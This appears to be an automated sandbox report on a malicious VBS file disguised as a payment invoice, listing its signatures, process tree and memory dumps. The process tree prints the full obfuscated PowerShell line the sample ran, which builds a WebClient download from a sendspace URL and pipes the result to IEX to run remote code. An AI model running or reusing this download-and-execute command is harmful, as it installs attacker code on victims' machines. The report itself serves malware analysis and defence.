Analysis
- max time kernel
118s - max time network
121s - platform
windows10_x64 - resource
win10-en-20211014 - submitted
30/11/2021, 17:59
General
- Target QWMSA_Payment_Invoice0939.vbs
- Size 605B
- Sample211130-wkp95sffdn
- SHA256 75dc265d032be64eba35add54a98a93fc11568d4fa95f3c9a4e9700f094b4d52
Malware Config
Signatures
- Blocklisted process makes network request 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\QWMSA_Payment_Invoice0939.vbs"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ChiptEch=('{2}{1}{0}{3}{4}' -f'bC','WE','NEt.','liE','nt'); $FrEq=('{3}{0}{1}{2}' -f'load','Str','ing','Down'); $sysinfo=('{2}{0}{1}' -f'E','X','I'); &('I'+'EX')(N`Ew-Ob`jE`ct $ChiptEch).$FrEq('https://fs12n1.sendspace.com/dlpro/0dd20c7f3a4ee1dfdca7b0c84960d854/61a6614c/nlwyl5/WESA.txt')2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/2208-117-0x00000114DBC10000-0x00000114DBC12000-memory.dmp
memory/2208-116-0x00000114DBC10000-0x00000114DBC12000-memory.dmp
memory/2208-118-0x00000114DBC10000-0x00000114DBC12000-memory.dmp
memory/2208-119-0x00000114DBC10000-0x00000114DBC12000-memory.dmp
memory/2208-120-0x00000114F5B40000-0x00000114F5B41000-memory.dmp
memory/2208-121-0x00000114DBC10000-0x00000114DBC12000-memory.dmp
memory/2208-122-0x00000114DBC10000-0x00000114DBC12000-memory.dmp
memory/2208-123-0x00000114F60A0000-0x00000114F60A1000-memory.dmp
memory/2208-124-0x00000114DBC10000-0x00000114DBC12000-memory.dmp
memory/2208-128-0x00000114DBC10000-0x00000114DBC12000-memory.dmp
memory/2208-130-0x00000114F5BA3000-0x00000114F5BA5000-memory.dmp
memory/2208-129-0x00000114F5BA0000-0x00000114F5BA2000-memory.dmp
memory/2208-131-0x00000114F5BA6000-0x00000114F5BA8000-memory.dmp
memory/2208-132-0x00000114DBC10000-0x00000114DBC12000-memory.dmp
memory/2208-142-0x00000114F5B70000-0x00000114F5B74000-memory.dmp
memory/2208-153-0x00000114F5BA8000-0x00000114F5BA9000-memory.dmp
memory/2208-154-0x00000114DBC10000-0x00000114DBC12000-memory.dmp